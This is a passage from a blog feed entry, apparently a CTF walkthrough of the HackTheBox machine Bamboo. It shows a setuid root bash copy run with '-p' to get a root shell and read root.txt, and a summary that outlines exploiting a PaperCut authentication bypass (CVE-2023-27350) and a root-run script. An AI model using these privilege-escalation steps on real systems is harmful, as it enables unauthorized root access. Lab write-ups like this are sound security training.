<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/0xdf 
<span class="go">-rwsrwsrwx 1 root root 1396520 Jan 28 00:57 /tmp/0xdf
</span></code></pre></div></div>

<p>I’ll run it with <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span>/tmp/0xdf <span class="nt">-p</span>       
<span class="gp">0xdf-5.1#</span><span class="w"> 
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">0xdf-5.1# </span><span class="nb">cat</span> /root/root.txt
<span class="go">13668f50************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-bamboo" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="htb-bamboo" /><category term="vulnlab" /><category term="ctf" /><category term="nmap" /><category term="ubuntu" /><category term="squid" /><category term="proxychains" /><category term="foxyproxy" /><category term="burp" /><category term="papercut" /><category term="cve-2023-27350" /><category term="authentication-bypass" /><category term="pspy" /><category term="setuid" /><category term="tcpdump" /><summary type="html"><![CDATA[Bamboo offers a Squid HTTP proxy through which I’ll access a PaperCut NG instance. I’ll use Spose to scan through the proxy and discover the print management application. I’ll exploit an authentication bypass vulnerability in PaperCut and use application access to enabling print scripting to get code execution. For privilege escalation, I’ll abuse a root process that runs a script from the papercut user’s home directory.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/bamboo-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/bamboo-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>